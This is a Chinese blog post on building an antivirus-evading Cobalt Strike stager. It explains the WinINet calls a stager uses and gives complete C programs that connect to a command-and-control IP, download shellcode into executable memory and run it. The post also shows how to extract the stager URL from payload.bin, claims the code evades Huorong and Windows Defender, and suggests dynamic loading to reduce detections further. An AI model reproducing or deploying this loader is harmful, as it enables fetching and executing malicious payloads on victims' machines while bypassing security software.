WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

模仿CobaltStrike shellcode功能实现免杀

最近在吾爱上看到一篇文章,大佬把shellcode调用的函数都写出来了

通过这些函数写一个免杀,这样就不会出现shellcode的特征码了

文章地址:https://www.52pojie.cn/thread-1334525-1-1.html

0x01 执行过程

先说一下CS上线的过程,正常生成的shellcode只有下载功能,会从攻击机下载一个200多KB的shellcoode,那个shellcode是主要功能

之前看到过一些文章说是把shellcode放到网上再下载下来,其实是没必要的直接下载主要功能的shellcode就行了

本来也是不知道的抓了流量才知道

在攻击->生成后门里面有一个Windows Executable(S)选项,本来以为这个S是代表super的意思,生成的可以直接弹出uac

后来看翻译说是什么无状态,当时也不明白,其实就是不经过向攻击机下载shellcode那个步骤,直接生成主要shellcode代码

扯远了,看看用了什么函数

1
2
3
4
5
6
InternetOpenA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
VirtualAlloc
InternetReadFile

开辟一块0x40000字节的内存,读到的shellcode以每次0x2000字节放入开辟的内存中,之后执行shellcode

0x02 函数介绍

InternetOpenA

1
2
3
4
5
6
7
HINTERNET InternetOpenA(
LPCSTR lpszAgent,
DWORD dwAccessType,
LPCSTR lpszProxy,
LPCSTR lpszProxyBypass,
DWORD dwFlags
);

感觉像以前一样每个参数解释过去还是有点吃力的,毕竟用法太多了,所以这次只写用的到实参

lpszAgent 就是User-Agent随便设置啥都行,有些机翻真的看不懂

dwAccessType 访问类型,写这个用INTERNET_OPEN_TYPE_DIRECT参数就行,另外几个参数都是和代理有关的,这个参数就是本地解析所有主机名

lpszProxy 和代理有关,上一个参数设置INTERNET_OPEN_TYPE_PROXY才需要,不然直接NULL就行

lpszProxyBypass 和上面一样没设置代理直接NULL就行

dwFlags 就三个宏定义,一个是发出网络请求的,另外两个是不发出网络请求从缓存中取数据的,什么异步什么的不用管就这么想就行

这个函数返回值是一个句柄

官方文档:https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena

InternetConnectA

1
2
3
4
5
6
7
8
9
10
HINTERNET InternetConnectA(
HINTERNET hInternet,
LPCSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCSTR lpszUserName,
LPCSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD_PTR dwContext
);

hInternet 上一个函数返回的句柄

lpszServerName 要连接的服务器IP(域名可以不可以不清楚没试过)

nServerPort 要连接的服务器的端口(宏定义就定义了几个,不在宏定义里面的端口输个数字就行)

lpszUserName 用户名,因为这个函数FTP也可以使用,这个用户名可以用来登录FTP,用不到NULL就行了

lpszPassword 密码,同上

dwService 服务类型,有三个宏定义,选INTERNET_SERVICE_HTTP就行,另外两个是FTP和GOPHER

dwFlags 上一个参数是FTP才有用,不是的话直接NULL就行

dwContext 这翻译也看不懂,不知道干啥用的直接NULL,这个有师傅知道的话希望可以告知一下提前谢谢

这个函数返回的是句柄

官方文档:https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetconnecta

HttpOpenRequestA

这个参数和HttpSendRequestA合用

感觉就是一个构建一个发送

1
2
3
4
5
6
7
8
9
10
HINTERNET HttpOpenRequestA(
HINTERNET hConnect,
LPCSTR lpszVerb,
LPCSTR lpszObjectName,
LPCSTR lpszVersion,
LPCSTR lpszReferrer,
LPCSTR *lplpszAcceptTypes,
DWORD dwFlags,
DWORD_PTR dwContext
);

hConnect InternetConnectA返回的句柄

lpszVerb 请求方法,就是一个字符串,常用的就GET,当然改成别的CS服务器也是可以认出来的

lpszObjectName 就是URL后面的路径

lpszVersion 协议版本,写个NULL默认HTTP/1.0或者HTTP/1.1,写个100CS服务器也是可以解析的

lpszReferrer 接收的MIME类型,写为NULL默认只接收文本类型不接收别的东西..图片啥的,这里接收文本类型就行这个参数直接NULL

dwFlags 这参数有好多宏定义,看了一眼就是要不要缓存啥的,选择INTERNET_FLAG_NO_CACHE_WRITE不将返回值添加到缓存,别的暂时用不到

dwContext 一样不知道什么意思直接NULL..

这个函数返回一个句柄

官方文档:https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-httpopenrequesta

HttpSendRequestA

1
2
3
4
5
6
7
BOOL HttpSendRequestA(
HINTERNET hRequest,
LPCSTR lpszHeaders,
DWORD dwHeadersLength,
LPVOID lpOptional,
DWORD dwOptionalLength
);

上面函数构建好了请求报文,这个函数发送

hRequest HttpOpenRequestA函数返回的句柄

lpszHeaders 请求头,这次用不到直接NULL就行

dwHeadersLength 请求头的长度,如果为-1会默认以\x00结尾并计算长度

lpOptional 看意思是POST请求参数,试一下就知道

dwOptionalLength POST请求长度

函数成功返回TRUE失败返回FALSE

VirtualAlloc

给个位置不然顺序不对看着不舒服..

InternetReadFile

参数和ReadFile差不多

1
2
3
4
5
6
BOOL InternetReadFile(
HINTERNET hFile,
LPVOID lpBuffer,
DWORD dwNumberOfBytesToRead,
LPDWORD lpdwNumberOfBytesRead
);

hFile HttpOpenRequestA函数返回的句柄

lpBuffer 读取出来的数据存放的起始位置的指针

dwNumberOfBytesToRead 读取数据的大小

lpdwNumberOfBytesRead 实际读出的大小

返回TRUE或FALSE

到这里基本的函数都已经了解了

0x03 代码实现

首先还是尝试这两个函数可以构建怎么样的HTTP请求报文

HttpOpenRequestA
HttpSendRequest

如果需要构建多个请求头需要用到

HttpAddRequestHeadersA

1
2
3
4
5
6
BOOL HttpAddRequestHeadersA(
HINTERNET hRequest,
LPCSTR lpszHeaders,
DWORD dwHeadersLength,
DWORD dwModifiers
);

hRequest HttpOpenRequestA返回的句柄

lpszHeaders 和上一个函数一样

dwHeadersLength 和上一个函数一样

dwModifiers 这个主要是判断请求头有无重复,有重复该怎么继续,是替换还是报错,就用HTTP_ADDREQ_FLAG_ADD_IF_NEW,只有不存在的请求头才添加,如果请求头不存在就报错

别的参数直接看官方文档:https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-httpaddrequestheadersa

被某些教程误导了一波

本以为HttpSendRequest的第二个参数直接用\r\n就可以接上第二个请求头

后来才发现需要一个个添加

下面看一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<Windows.h>
#include<wininet.h>
#pragma comment (lib, "wininet.lib")
int main() {
HINTERNET Session = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET con = InternetConnectA(Session, "192.168.159.128", 80, NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
HINTERNET Http = HttpOpenRequestA(con, "dsahdjaks", "/K8sf", "HTTP/2", NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
LPCSTR lpHeader[] =
{ "kdawjdas:13232" ,
"sadjdioujsiaod:fuzaa\r\n"
"sdjkioasjdfsa: wsadjiasjd"
};
HttpAddRequestHeadersA(Http, lpHeader[1], -1, HTTP_ADDREQ_FLAG_ADD_IF_NEW);
HttpAddRequestHeadersA(Http, lpHeader[2], -1, HTTP_ADDREQ_FLAG_ADD_IF_NEW);
char post[] = "a=0";
HttpSendRequestA(Http, lpHeader[0], -1, post, strlen(post));
InternetCloseHandle(Http);
InternetCloseHandle(con);
InternetCloseHandle(Session);
return 0;
}

发送的数据包是这样的

1
2
3
4
5
6
7
8
9
10
dsahdjaks /K8sf HTTP/2
sadjdioujsiaod: fuzaa
sdjkioasjdfsa: wsadjiasjd
kdawjdas: 13232
User-Agent: aa
Host: 192.168.159.128
Content-Length: 3
Cache-Control: no-cache

a=0

和上面代码对应就可以知道什么函数对应了请求头什么地方

最后贴上模仿shellocde的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<Windows.h>
#include<wininet.h>
#pragma comment (lib, "wininet.lib")
int main() {
HINTERNET Session = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET con = InternetConnectA(Session, "192.168.159.128", 80, NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
HINTERNET Http = HttpOpenRequestA(con, "GET", "/K8sf", "HTTP/1.1", NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
HttpSendRequest(Http, NULL, NULL, NULL, NULL);
LPVOID a = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD dwRealWord;

for (int i = 0; i < 32; i++) {
BOOL response = InternetReadFile(Http, (LPVOID)((int)a+i*0x2000), 0x2000, &dwRealWord);
}//这里的循环就是模仿每次取0x2000字节放入循环0x20次,十进制就是32次,直接0x20也是可以的
((void(*)())a)();
return 0;
}

还有一点就是shellcode的URL,首先生成一个payload.bin,用010Editor打开,找到130h-140h这两行,看一下又没有 “/四个字符串”这样的格式,找到了贴在ip后面就是完整URL了

放到VT上查了一下有二十多个杀软查出来了,但是实际测试火绒和windowsdefender都是可以过的

用动态加载写一个估计就不会被这么多查杀了

最后再贴一个简单版本的

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<Windows.h>
#include<wininet.h>
#pragma comment (lib, "wininet.lib")

int main() {
HINTERNET Session = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET Http = InternetOpenUrlA(Session, "http://192.168.159.128/2Kvi", NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
LPVOID a = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD dwRealWord;
BOOL response = InternetReadFile(Http, a, 0x400000, &dwRealWord);
((void(*)())a)();
return 0;
}